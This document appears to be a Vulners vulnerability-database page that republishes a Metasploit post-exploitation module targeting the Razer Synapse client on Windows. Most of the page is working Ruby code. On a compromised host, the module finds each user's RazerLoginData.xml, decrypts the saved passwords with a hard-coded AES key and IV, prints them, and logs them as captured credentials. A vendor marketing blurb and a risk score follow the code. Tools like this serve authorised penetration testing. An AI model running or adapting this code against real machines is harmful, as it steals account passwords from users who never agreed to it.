, Matt Howard "pasv" , Brandon McCann "zeknox" ">
Lucene search
+L

Windows Gather Razer Synapse Password Extraction

Windows Gather Razer Synapse Password Extraction. This module extracts and decrypts passwords stored by Razer Synapse client affecting versions earlier than 1.7.15

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'openssl'

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::UserProfiles
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Razer Synapse Password Extraction',
        'Description' => %q{
          This module will enumerate passwords stored by the Razer Synapse
          client. The encryption key and iv is publicly known. This module
          will not only extract encrypted password but will also decrypt
          password using public key. Affects versions earlier than 1.7.15.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>',
          'Matt Howard "pasv" <themdhoward[at]gmail.com>', # PoC
          'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
        ],
        'References' => [
          [ 'URL', 'http://www.pentestgeek.com/2013/01/16/hard-coded-encryption-keys-and-more-wordpress-fun/' ],
          [ 'URL', 'https://github.com/pasv/Testing/blob/master/Razer_decode.py' ]
        ],
        'SessionTypes' => [ 'meterpreter' ],
        'Platform' => [ 'win' ]
      )
    )
  end

  def is_base64?(str)
    str.match(%r{^([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{4}|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)$}) ? true : false
  end

  # decrypt password
  def decrypt(pass)
    pass = Rex::Text.decode_base64(pass) if is_base64?(pass)
    cipher = OpenSSL::Cipher.new 'aes-256-cbc'
    cipher.decrypt
    cipher.key = 'hcxilkqbbhczfeultgbskdmaunivmfuo'
    cipher.iv = 'ryojvlzmdalyglrj'

    pass = pass.unpack('m')[0]
    password = cipher.update pass
    password << cipher.final

    password
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      post_reference_name: refname,
      session_id: session_db_id,
      origin_type: :session,
      private_data: opts[:password],
      private_type: opts[:type],
      username: opts[:user]
    }

    if opts[:type] == :nonreplayable_hash
      credential_data[:jtr_format] = 'odf-aes-opencl'
    end

    credential_data.merge!(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    create_credential_login(login_data)
  end

  # Loop throuhg config, grab user and pass
  def get_creds(config)
    creds = []

    return nil if !config.include?('<Version>')

    xml = ::Nokogiri::XML(config)
    xml.xpath('//SavedCredentials').each do |node|
      user = node.xpath('Username').text
      pass = node.xpath('Password').text
      type = :password
      begin
        pass = decrypt(pass)
      rescue OpenSSL::Cipher::CipherError
        type = :nonreplayable_hash
      end
      creds << {
        user: user,
        pass: pass,
        type: type
      }
    end

    creds
  end

  def razerzone_ip
    @razerzone_ip ||= Rex::Socket.resolv_to_dotted('www.razerzone.com')
  end

  # main control method
  def run
    grab_user_profiles.each do |user|
      next unless user['LocalAppData']

      accounts = user['LocalAppData'] + '\\Razer\\Synapse\\Accounts\\RazerLoginData.xml'
      next if !file?(accounts)

      print_status("Config found for user #{user['UserName']}")

      contents = read_file(accounts)

      # read the contents of file
      creds = get_creds(contents)
      next if creds.empty?

      creds.each do |c|
        user = c[:user]
        pass = c[:pass]
        type = c[:type]

        print_good("Found cred: #{user}:#{pass}")
        report_cred(
          ip: razerzone_ip,
          port: 443,
          service_name: 'http',
          user: user,
          password: pass,
          type: type
        )
      end
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
7.2High risk
Vulners AI Score7.2
43